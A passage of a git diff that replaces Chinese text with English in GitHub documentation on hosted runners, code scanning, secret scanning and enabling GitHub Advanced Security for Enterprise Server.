When you need to execute commands or install tools that require more privileges than the current user, you can use `sudo` without needing to provide a password. For more information, see the "[Sudo Manual](https://www.sudo.ws/man/1.8.27/sudo.man.html)." -Windows 虚拟机配置为以禁用了用户帐户控制 (UAC) 的管理员身份运行。 更多信息请参阅 Windows 文档中的“[用户帐户控制工作原理](https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)”。 +Windows virtual machines are configured to run as administrators with User Account Control (UAC) disabled. For more information, see "[How User Account Control works](https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)" in the Windows documentation. -## 支持的运行器和硬件资源 +## Supported runners and hardware resources -Windows 和 Linux 虚拟机的硬件规格： -- 2 核 CPU -- 7 GB RAM 内存 -- 14 GB SSD 硬盘空间 +Hardware specification for Windows and Linux virtual machines: +- 2-core CPU +- 7 GB of RAM memory +- 14 GB of SSD disk space -MacOS 虚拟机的硬件规格： -- 3 核 CPU -- 14 GB RAM 内存 -- 14 GB SSD 硬盘空间 +Hardware specification for macOS virtual machines: +- 3-core CPU +- 14 GB of RAM memory +- 14 GB of SSD disk space {% data reusables.github-actions.supported-github-runners %} -工作流程日志列出用于运行作业的运行器。 更多信息请参阅“[查看工作流程运行历史记录](/actions/managing-workflow-runs/viewing-workflow-run-history)”。 +Workflow logs list the runner used to run a job. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)." -## 支持的软件 +## Supported software -{% data variables.product.prodname_dotcom %} 托管的运行器中包含的软件工具每周更新。 更新过程需要几天时间，整个部署结束后，`主`分支上的预装软件列表将进行更新。 -### 预安装的软件 +The software tools included in {% data variables.product.prodname_dotcom %}-hosted runners are updated weekly. The update process takes several days, and the list of preinstalled software on the `main` branch is updated after the whole deployment ends. +### Preinstalled software -工作流程日志包括指向准确运行器上预安装的工具的链接。 要在工作流程日志中查找此信息，请扩展 `Set up job` 部分。 在该部分下，展开 `Virtual Environment` 部分。 `Included Software` 后面的链接将说明运行器上运行该工作流程的预安装工具。 ![Installed software link](/assets/images/actions-runner-installed-software-link.png) 更多信息请参阅“[查看工作流程运行历史记录](/actions/managing-workflow-runs/viewing-workflow-run-history)”。 +Workflow logs include a link to the preinstalled tools on the exact runner. To find this information in the workflow log, expand the `Set up job` section. Under that section, expand the `Virtual Environment` section. The link following `Included Software` will describe the preinstalled tools on the runner that ran the workflow. +![Installed software link](/assets/images/actions-runner-installed-software-link.png) +For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)." -有关每个运行器操作系统包含的工具整个列表，请参阅以下链接： +For the overall list of included tools for each runner operating system, see the links below: * [Ubuntu 20.04 LTS](https://github.com/actions/virtual-environments/blob/main/images/linux/Ubuntu2004-README.md) * [Ubuntu 18.04 LTS](https://github.com/actions/virtual-environments/blob/main/images/linux/Ubuntu1804-README.md) @@ -84,53 +86,53 @@ MacOS 虚拟机的硬件规格： * [macOS 11](https://github.com/actions/virtual-environments/blob/main/images/macos/macos-11-Readme.md) * [macOS 10.15](https://github.com/actions/virtual-environments/blob/main/images/macos/macos-10.15-Readme.md) -{% data variables.product.prodname_dotcom %} 托管的运行器除了上述参考中列出的包之外，还包括操作系统的默认内置工具。 例如，Ubuntu 和 macOS 运行器除了其他默认工具之外，还包括 `grep`、`find` 和 `which`。 +{% data variables.product.prodname_dotcom %}-hosted runners include the operating system's default built-in tools, in addition to the packages listed in the above references. For example, Ubuntu and macOS runners include `grep`, `find`, and `which`, among other default tools. -### 使用预安装的软件 +### Using preinstalled software -我们建议使用操作来与运行器上安装的软件进行交互。 此方法有如下优点： -- 通常，操作提供更灵活的功能，如版本选择、传递参数的能力和参数 -- 它可确保工作流程中使用的工具版本无论软件更新如何，都将保持不变 +We recommend using actions to interact with the software installed on runners. This approach has several benefits: +- Usually, actions provide more flexible functionality like versions selection, ability to pass arguments, and parameters +- It ensures the tool versions used in your workflow will remain the same regardless of software updates -如果有您想要请求的工具，请在 [actions/virtual-environments](https://github.com/actions/virtual-environments) 打开一个议题。 此仓库还包含有关运行器上所有主要软件更新的公告。 +If there is a tool that you'd like to request, please open an issue at [actions/virtual-environments](https://github.com/actions/virtual-environments). This repository also contains announcements about all major software updates on runners. -### 安装其他软件 +### Installing additional software -您可以在 {% data variables.product.prodname_dotcom %} 托管的运行器上安装其他软件。 更多信息请参阅“[自定义 GitHub 托管的运行器](/actions/using-github-hosted-runners/customizing-github-hosted-runners)”。 +You can install additional software on {% data variables.product.prodname_dotcom %}-hosted runners. For more information, see "[Customizing GitHub-hosted runners](/actions/using-github-hosted-runners/customizing-github-hosted-runners)". -## IP 地址 +## IP addresses {% note %} -**注意：**如果使用 {% data variables.product.prodname_dotcom %} 组织或企业帐户的 IP 地址允许列表，则无法使用 {% data variables.product.prodname_dotcom %} 托管的运行器，而必须使用自托管的运行器。 更多信息请参阅“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners)”。 +**Note:** If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you cannot use {% data variables.product.prodname_dotcom %}-hosted runners and must instead use self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)." {% endnote %} -To get a list of IP address ranges that {% data variables.product.prodname_actions %} uses for {% data variables.product.prodname_dotcom %}-hosted runners, you can use the {% data variables.product.prodname_dotcom %} REST API. 更多信息请参阅“[获取 GitHub 元信息](/rest/reference/meta#get-github-meta-information)”端点响应中的 `actions` 键。 +To get a list of IP address ranges that {% data variables.product.prodname_actions %} uses for {% data variables.product.prodname_dotcom %}-hosted runners, you can use the {% data variables.product.prodname_dotcom %} REST API. For more information, see the `actions` key in the response of the "[Get GitHub meta information](/rest/reference/meta#get-github-meta-information)" endpoint. -Windows 和 Ubuntu 运行程序托管在 Azure 中，随后具有与 Azure 数据中心相同的 IP 地址范围。 macOS 运行器托管在 {% data variables.product.prodname_dotcom %} 自己的 macOS 云中。 +Windows and Ubuntu runners are hosted in Azure and subsequently have the same IP address ranges as the Azure datacenters. macOS runners are hosted in {% data variables.product.prodname_dotcom %}'s own macOS cloud. Since there are so many IP address ranges for {% data variables.product.prodname_dotcom %}-hosted runners, we do not recommend that you use these as allow-lists for your internal resources. -API 返回的 {% data variables.product.prodname_actions %} IP 地址列表每周更新一次。 +The list of {% data variables.product.prodname_actions %} IP addresses returned by the API is updated once a week. -## 文件系统 +## File systems -{% data variables.product.prodname_dotcom %} 在虚拟机上的特定目录中执行操作和 shell 命令。 虚拟机上的文件路径不是静态的。 使用环境变量 {% data variables.product.prodname_dotcom %} 提供 `home`、`workspace` 和 `workflow` 目录的构建文件路径。 +{% data variables.product.prodname_dotcom %} executes actions and shell commands in specific directories on the virtual machine. The file paths on virtual machines are not static. Use the environment variables {% data variables.product.prodname_dotcom %} provides to construct file paths for the `home`, `workspace`, and `workflow` directories. -| 目录 | 环境变量 | 描述 | -| --------------------- | ------------------- | --------------------------------------------------------------------------------------------------------- | -| `home` | `HOME` | 包含用户相关的数据。 例如，此目录可能包含登录凭据。 | -| `workspace` | `GITHUB_WORKSPACE` | 在此目录中执行操作和 shell 命令。 操作可以修改此目录的内容，后续操作可以访问这些修改。 | -| `workflow/event.json` | `GITHUB_EVENT_PATH` | 触发工作流程的 web 挂钩事件的 `POST` 有效负载。 每当操作执行时，{% data variables.product.prodname_dotcom %} 都会重写此变量，以隔离操作之间的文件内容。 | +| Directory | Environment variable | Description | +|-----------|----------------------|-------------| +| `home` | `HOME` | Contains user-related data. For example, this directory could contain credentials from a login attempt. | +| `workspace` | `GITHUB_WORKSPACE` | Actions and shell commands execute in this directory. An action can modify the contents of this directory, which subsequent actions can access. | +| `workflow/event.json` | `GITHUB_EVENT_PATH` | The `POST` payload of the webhook event that triggered the workflow. {% data variables.product.prodname_dotcom %} rewrites this each time an action executes to isolate file content between actions. -有关 {% data variables.product.prodname_dotcom %} 为每个操作创建的环境变量列表，请参阅“[使用环境变量](/github/automating-your-workflow-with-github-actions/using-environment-variables)”。 +For a list of the environment variables {% data variables.product.prodname_dotcom %} creates for each workflow, see "[Using environment variables](/github/automating-your-workflow-with-github-actions/using-environment-variables)." -### Docker 容器文件系统 +### Docker container filesystem -在 Docker 容器中运行的操作在 `/github` 路径下有静态目录。 但强烈建议使用默认环境变量在 Docker 容器中构建文件路径。 +Actions that run in Docker containers have static directories under the `/github` path. However, we strongly recommend using the default environment variables to construct file paths in Docker containers. -{% data variables.product.prodname_dotcom %} 保留 `/github` 路径前缀，并为操作创建三个目录。 +{% data variables.product.prodname_dotcom %} reserves the `/github` path prefix and creates three directories for actions. - `/github/home` - `/github/workspace` - {% data reusables.repositories.action-root-user-required %} @@ -138,8 +140,8 @@ API 返回的 {% data variables.product.prodname_actions %} IP 地址列表每 {% ifversion fpt or ghec %} -## 延伸阅读 -- "[管理 {% data variables.product.prodname_actions %} 的计费](/billing/managing-billing-for-github-actions)" +## Further reading +- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)" {% endif %} diff --git a/translations/zh-CN/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md b/translations/zh-CN/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md index f09764fe14..5026c04d1a 100644 --- a/translations/zh-CN/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md +++ b/translations/zh-CN/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md @@ -1,7 +1,7 @@ --- -title: 为设备配置代码扫描 -shortTitle: 配置代码扫描 -intro: '您可以为 {% data variables.product.product_location %} 启用、配置和禁用 {% data variables.product.prodname_code_scanning %}。 {% data variables.product.prodname_code_scanning_capc %} 允许用户扫描代码以发现漏洞和错误。' +title: Configuring code scanning for your appliance +shortTitle: Configuring code scanning +intro: 'You can enable, configure and disable {% data variables.product.prodname_code_scanning %} for {% data variables.product.product_location %}. {% data variables.product.prodname_code_scanning_capc %} allows users to scan code for vulnerabilities and errors.' product: '{% data reusables.gated-features.code-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -19,54 +19,58 @@ topics: {% data reusables.code-scanning.beta %} -## 关于 {% data variables.product.prodname_code_scanning %} +## About {% data variables.product.prodname_code_scanning %} {% data reusables.code-scanning.about-code-scanning %} -您可以配置 {% data variables.product.prodname_code_scanning %} 以运行 {% data variables.product.prodname_codeql %} 分析和第三方分析。 {% data variables.product.prodname_code_scanning_capc %} 还支持使用 {% data variables.product.prodname_actions %} 在本地运行分析，或使用现有 CI/CD 基础架构在外部运行分析。 下表总结了用户在配置 {% data variables.product.product_location %} 以允许 {% data variables.product.prodname_code_scanning %} 使用操作时用户可用的所有选项。 +You can configure {% data variables.product.prodname_code_scanning %} to run {% data variables.product.prodname_codeql %} analysis and third-party analysis. {% data variables.product.prodname_code_scanning_capc %} also supports running analysis natively using {% data variables.product.prodname_actions %} or externally using existing CI/CD infrastructure. The table below summarizes all the options available to users when you configure {% data variables.product.product_location %} to allow {% data variables.product.prodname_code_scanning %} using actions. {% data reusables.code-scanning.enabling-options %} -## {% data variables.product.prodname_code_scanning %} 的前提条件 +## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} -- {% data variables.product.prodname_GH_advanced_security %} 的许可{% ifversion ghes > 3.0 %}（请参阅“[关于 {% data variables.product.prodname_GH_advanced_security %} 的计费](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)”）{% endif %} +{% data reusables.advanced-security.check-for-ghas-license %} -- 在管理控制台中启用的 {% data variables.product.prodname_code_scanning_capc %}（请参阅“[为企业启用 {% data variables.product.prodname_GH_advanced_security %}](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)”） +## Prerequisites for {% data variables.product.prodname_code_scanning %} -- 用于运行 {% data variables.product.prodname_code_scanning %} 分析的 VM 或容器。 +- A license for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes > 3.0 %} (see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %} -## 使用 {% data variables.product.prodname_actions %} 运行 {% data variables.product.prodname_code_scanning %} +- {% data variables.product.prodname_code_scanning_capc %} enabled in the management console (see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)") -### 设置自托管运行器 +- A VM or container for {% data variables.product.prodname_code_scanning %} analysis to run in. -{% data variables.product.prodname_ghe_server %} 可以使用 {% data variables.product.prodname_actions %} 工作流程运行 {% data variables.product.prodname_code_scanning %}。 首先，您需要在环境中预配一个或多个自托管的 {% data variables.product.prodname_actions %} 运行器。 您可以在仓库、组织或企业帐户级别预配自托管运行器。 更多信息请参阅“[关于自托管的运行器](/actions/hosting-your-own-runners/about-self-hosted-runners)”和“[添加自托管的运行器](/actions/hosting-your-own-runners/adding-self-hosted-runners)”。 +## Running {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_actions %} -您必须确保 Git 在用于运行 {% data variables.product.prodname_codeql %} 操作的任何自托管运行器上的 PATH 变量中。 +### Setting up a self-hosted runner -### 预配 {% data variables.product.prodname_code_scanning %} 的操作 +{% data variables.product.prodname_ghe_server %} can run {% data variables.product.prodname_code_scanning %} using a {% data variables.product.prodname_actions %} workflow. First, you need to provision one or more self-hosted {% data variables.product.prodname_actions %} runners in your environment. You can provision self-hosted runners at the repository, organization, or enterprise account level. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." + +You must ensure that Git is in the PATH variable on any self-hosted runners you use to run {% data variables.product.prodname_codeql %} actions. + +### Provisioning the actions for {% data variables.product.prodname_code_scanning %} {% ifversion ghes %} -如果您要使用操作在 {% data variables.product.prodname_ghe_server %} 上运行 {% data variables.product.prodname_code_scanning %}，操作必须在您的设备上可用。 +If you want to use actions to run {% data variables.product.prodname_code_scanning %} on {% data variables.product.prodname_ghe_server %}, the actions must be available on your appliance. -{% data variables.product.prodname_codeql %} 操作包含在您安装的 {% data variables.product.prodname_ghe_server %} 中。 如果 {% data variables.product.prodname_ghe_server %} 可以访问互联网，操作将自动下载进行分析所需的 {% data variables.product.prodname_codeql %} 包。 或者，您也可以使用同步工具使 {% data variables.product.prodname_codeql %} 分析包在本地可用。 更多信息请参阅下面的“[在没有互联网接入的服务器上配置 {% data variables.product.prodname_codeql %} 分析](#configuring-codeql-analysis-on-a-server-without-internet-access)”。 +The {% data variables.product.prodname_codeql %} action is included in your installation of {% data variables.product.prodname_ghe_server %}. If {% data variables.product.prodname_ghe_server %} has access to the internet, the action will automatically download the {% data variables.product.prodname_codeql %} bundle required to perform analysis. Alternatively, you can use a synchronization tool to make the {% data variables.product.prodname_codeql %} analysis bundle available locally. For more information, see "[Configuring {% data variables.product.prodname_codeql %} analysis on a server without internet access](#configuring-codeql-analysis-on-a-server-without-internet-access)" below. -您也可以通过设置 {% data variables.product.prodname_github_connect %}，使第三方操作可供 {% data variables.product.prodname_code_scanning %} 的用户使用。 更多信息请参阅下面的“[配置 {% data variables.product.prodname_github_connect %} 以同步 {% data variables.product.prodname_actions %}](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance#configuring-github-connect-to-sync-github-actions)”。 +You can also make third-party actions available to users for {% data variables.product.prodname_code_scanning %}, by setting up {% data variables.product.prodname_github_connect %}. For more information, see "[Configuring {% data variables.product.prodname_github_connect %} to sync {% data variables.product.prodname_actions %}](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance#configuring-github-connect-to-sync-github-actions)" below. -### 在没有互联网接入的服务器上配置 {% data variables.product.prodname_codeql %} 分析 -如果您在上面运行 {% data variables.product.prodname_ghe_server %} 的服务器未连接到互联网，但您要允许用户对其仓库启用 {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}，则您必须使用 {% data variables.product.prodname_codeql %} 操作同步工具将 {% data variables.product.prodname_codeql %} 分析包从 {% data variables.product.prodname_dotcom_the_website %} 复制到您的服务器。 有关该工具及其使用方法，请参阅 [https://github.com/github/codeql-action-sync-tool](https://github.com/github/codeql-action-sync-tool/)。 +### Configuring {% data variables.product.prodname_codeql %} analysis on a server without internet access +If the server on which you are running {% data variables.product.prodname_ghe_server %} is not connected to the internet, and you want to allow users to enable {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} for their repositories, you must use the {% data variables.product.prodname_codeql %} action sync tool to copy the {% data variables.product.prodname_codeql %} analysis bundle from {% data variables.product.prodname_dotcom_the_website %} to your server. The tool, and details of how to use it, are available at [https://github.com/github/codeql-action-sync-tool](https://github.com/github/codeql-action-sync-tool/). -如果您设置了 {% data variables.product.prodname_codeql %} 操作同步工具，您可以使用它来同步最新发布的 {% data variables.product.prodname_codeql %} 操作和相关的 {% data variables.product.prodname_codeql %} 分析包。 这些兼容 {% data variables.product.prodname_ghe_server %}。 +If you set up the {% data variables.product.prodname_codeql %} action sync tool, you can use it to sync the latest releases of the {% data variables.product.prodname_codeql %} action and associated {% data variables.product.prodname_codeql %} analysis bundle. These are compatible with {% data variables.product.prodname_ghe_server %}. {% endif %} -### 配置 {% data variables.product.prodname_github_connect %} 以同步 {% data variables.product.prodname_actions %} -1. 如果要从 {% data variables.product.prodname_dotcom_the_website %} 下载按需操作工作流程，则需要启用 {% data variables.product.prodname_github_connect %}。 更多信息请参阅“[启用 {% data variables.product.prodname_github_connect %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud#enabling-github-connect)”。 -2. 您还需要为 {% data variables.product.product_location %} 启用 {% data variables.product.prodname_actions %}。 更多信息请参阅“[{% data variables.product.prodname_ghe_server %} 的 {% data variables.product.prodname_actions %} 使用入门](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server)”。 -3. 下一步是使用 {% data variables.product.prodname_github_connect %} 配置对 {% data variables.product.prodname_dotcom_the_website %} 上的操作的访问权限。 更多信息请参阅“[启用使用 {% data variables.product.prodname_github_connect %} 自动访问 {% data variables.product.prodname_dotcom_the_website %} 操作](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)”。 -4. 将自托管运行器添加到仓库、组织或企业帐户。 更多信息请参阅“[添加自托管的运行器](/actions/hosting-your-own-runners/adding-self-hosted-runners)”。 +### Configuring {% data variables.product.prodname_github_connect %} to sync {% data variables.product.prodname_actions %} +1. If you want to download action workflows on demand from {% data variables.product.prodname_dotcom_the_website %}, you need to enable {% data variables.product.prodname_github_connect %}. For more information, see "[Enabling {% data variables.product.prodname_github_connect %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud#enabling-github-connect)." +2. You'll also need to enable {% data variables.product.prodname_actions %} for {% data variables.product.product_location %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server)." +3. The next step is to configure access to actions on {% data variables.product.prodname_dotcom_the_website %} using {% data variables.product.prodname_github_connect %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)." +4. Add a self-hosted runner to your repository, organization, or enterprise account. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." -## 使用 {% data variables.product.prodname_codeql_runner %} 运行 {% data variables.product.prodname_code_scanning %} -如果您不想使用 {% data variables.product.prodname_actions %}，您可以使用 {% data variables.product.prodname_codeql_runner %} 运行 {% data variables.product.prodname_code_scanning %}。 +## Running {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_runner %} +If you don't want to use {% data variables.product.prodname_actions %}, you can run {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_runner %}. -该 {% data variables.product.prodname_codeql_runner %} 是一个命令行工具，您可以将其添加到第三方 CI/CD 系统中。 该工具在 {% data variables.product.prodname_dotcom %} 仓库检出时运行 {% data variables.product.prodname_codeql %} 分析。 更多信息请参阅“[在 CI 系统中运行 {% data variables.product.prodname_code_scanning %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)”。 +The {% data variables.product.prodname_codeql_runner %} is a command-line tool that you can add to your third-party CI/CD system. The tool runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. For more information, see "[Running {% data variables.product.prodname_code_scanning %} in your CI system](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)." diff --git a/translations/zh-CN/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md b/translations/zh-CN/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md index 8059277608..1ff1342d1f 100644 --- a/translations/zh-CN/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md +++ b/translations/zh-CN/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md @@ -1,7 +1,7 @@ --- -title: 为设备配置密码扫描 -shortTitle: 配置密码扫描 -intro: '您可以为 {% data variables.product.product_location %} 启用、配置和禁用 {% data variables.product.prodname_secret_scanning %}。 {% data variables.product.prodname_secret_scanning_caps %} 允许用户扫描代码以寻找意外泄露的密码。' +title: Configuring secret scanning for your appliance +shortTitle: Configuring secret scanning +intro: 'You can enable, configure, and disable {% data variables.product.prodname_secret_scanning %} for {% data variables.product.product_location %}. {% data variables.product.prodname_secret_scanning_caps %} allows users to scan code for accidentally committed secrets.' product: '{% data reusables.gated-features.secret-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -18,63 +18,56 @@ topics: {% data reusables.secret-scanning.beta %} -## 关于 {% data variables.product.prodname_secret_scanning %} +## About {% data variables.product.prodname_secret_scanning %} -{% data reusables.secret-scanning.about-secret-scanning %} 更多信息请参阅“[关于 {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/about-secret-scanning)”。 +{% data reusables.secret-scanning.about-secret-scanning %} For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/about-secret-scanning)." -## {% data variables.product.prodname_secret_scanning %} 的前提条件 +## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} + +{% data reusables.advanced-security.check-for-ghas-license %} + +## Prerequisites for {% data variables.product.prodname_secret_scanning %} -- [SSSE3](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf#G3.1106470)（补充流式传输 SIMD 扩展 3）CPU 标志需要在运行 {% data variables.product.product_location %} 的 VM/KVM 上启用。 +- The [SSSE3](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf#G3.1106470) (Supplemental Streaming SIMD Extensions 3) CPU flag needs to be enabled on the VM/KVM that runs {% data variables.product.product_location %}. -- {% data variables.product.prodname_GH_advanced_security %} 的许可{% ifversion ghes > 3.0 %}（请参阅“[关于 {% data variables.product.prodname_GH_advanced_security %} 的计费](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)”）{% endif %} +- A license for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes > 3.0 %} (see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %} -- 在管理控制台中启用的 {% data variables.product.prodname_secret_scanning_caps %}（请参阅“[为企业启用 {% data variables.product.prodname_GH_advanced_security %}](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)”） +- {% data variables.product.prodname_secret_scanning_caps %} enabled in the management console (see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)") -## 检查您的 vCPU 上的 SSSE3 标志的支持 +### Checking support for the SSSE3 flag on your vCPUs -SSSE3 指令集是必需的，因为 {% data variables.product.prodname_secret_scanning %} 利用硬件加速模式匹配来查找提交给 {% data variables.product.prodname_dotcom %} 仓库的潜在凭据。 大多数现代 CPU 都启用了 SSSE3。 您可以检查您的 {% data variables.product.prodname_ghe_server %} 实例的可用 vCPU 是否启用了 SSSE3。 +The SSSE3 set of instructions is required because {% data variables.product.prodname_secret_scanning %} leverages hardware accelerated pattern matching to find potential credentials committed to your {% data variables.product.prodname_dotcom %} repositories. SSSE3 is enabled for most modern CPUs. You can check whether SSSE3 is enabled for the vCPUs available to your {% data variables.product.prodname_ghe_server %} instance. -1. 连接到 {% data variables.product.prodname_ghe_server %} 实例的管理 shell。 更多信息请参阅“[访问管理 shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)。” -2. 输入以下命令： +1. Connect to the administrative shell for your {% data variables.product.prodname_ghe_server %} instance. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)." +2. Enter the following command: -```shell -grep -iE '^flags.*ssse3' /proc/cpuinfo >/dev/null | echo $? -``` + ```shell + grep -iE '^flags.*ssse3' /proc/cpuinfo >/dev/null | echo $? + ``` -如果返回值 `0`，则意味着 SSSE3 标志可用并且已启用。 您现在可以为 {% data variables.product.product_location %} 启用 {% data variables.product.prodname_secret_scanning %}。 更多信息请参阅下面的“[启用 {% data variables.product.prodname_secret_scanning %}](#enabling-secret-scanning)”。 + If this returns the value `0`, it means that the SSSE3 flag is available and enabled. You can now enable {% data variables.product.prodname_secret_scanning %} for {% data variables.product.product_location %}. For more information, see "[Enabling {% data variables.product.prodname_secret_scanning %}](#enabling-secret-scanning)" below. -如果不返回 `0`，则 SSSE3 未在您的 VM/KVM 上启用。 您需要参考硬件/虚拟机监控程序的文档，以了解如何启用该标志，或者如何使其可用于访客 VM。 + If this doesn't return `0`, SSSE3 is not enabled on your VM/KVM. You need to refer to the documentation of the hardware/hypervisor on how to enable the flag, or make it available to guest VMs. -### 检查您是否拥有 {% data variables.product.prodname_advanced_security %} 许可 - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. 检查在左侧边栏是否有 {% ifversion ghes < 3.2 %} **{% data variables.product.prodname_advanced_security %}**{% else %}个 **安全**{% endif %}入口。 -{% ifversion ghes < 3.2 %} - ![高级安全侧边栏](/assets/images/enterprise/management-console/sidebar-advanced-security.png) -{% else %} - ![安全侧边栏](/assets/images/enterprise/3.2/management-console/sidebar-security.png) -{% endif %} - -{% data reusables.enterprise_management_console.advanced-security-license %} - -## 启用 {% data variables.product.prodname_secret_scanning %} +## Enabling {% data variables.product.prodname_secret_scanning %} {% data reusables.enterprise_management_console.enable-disable-security-features %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %} -1. 在“{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}安全{% endif %}”下，点击 **{% data variables.product.prodname_secret_scanning_caps %}**。 ![用于启用或禁用 {% data variables.product.prodname_secret_scanning %} 的复选框](/assets/images/enterprise/management-console/enable-secret-scanning-checkbox.png) +1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," click **{% data variables.product.prodname_secret_scanning_caps %}**. +![Checkbox to enable or disable {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/enable-secret-scanning-checkbox.png) {% data reusables.enterprise_management_console.save-settings %} -## 禁用 {% data variables.product.prodname_secret_scanning %} +## Disabling {% data variables.product.prodname_secret_scanning %} {% data reusables.enterprise_management_console.enable-disable-security-features %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %} -1. 在“{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}安全{% endif %}”下，取消选择 **{% data variables.product.prodname_secret_scanning_caps %}**。 ![用于启用或禁用 {% data variables.product.prodname_secret_scanning %} 的复选框](/assets/images/enterprise/management-console/secret-scanning-disable.png) +1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," unselect **{% data variables.product.prodname_secret_scanning_caps %}**. +![Checkbox to enable or disable {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/secret-scanning-disable.png) {% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/zh-CN/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md b/translations/zh-CN/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md index 8f56792b03..d2d205a75c 100644 --- a/translations/zh-CN/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md @@ -1,7 +1,7 @@ --- -title: 为企业启用 GitHub Advanced Security -shortTitle: 启用 GitHub Advanced Security -intro: '您可以配置 {% data variables.product.product_name %} 以包括 {% data variables.product.prodname_GH_advanced_security %}。 这将提供额外的功能，帮助用户发现和修复其代码中的安全问题。' +title: Enabling GitHub Advanced Security for your enterprise +shortTitle: Enabling GitHub Advanced Security +intro: 'You can configure {% data variables.product.product_name %} to include {% data variables.product.prodname_GH_advanced_security %}. This provides extra features that help users find and fix security problems in their code.' product: '{% data reusables.gated-features.ghas %}' versions: ghes: '*' @@ -14,81 +14,84 @@ topics: - Security --- -## 关于启用 {% data variables.product.prodname_GH_advanced_security %} +## About enabling {% data variables.product.prodname_GH_advanced_security %} {% data reusables.advanced-security.ghas-helps-developers %} {% ifversion ghes > 3.0 %} -为企业启用 {% data variables.product.prodname_GH_advanced_security %} 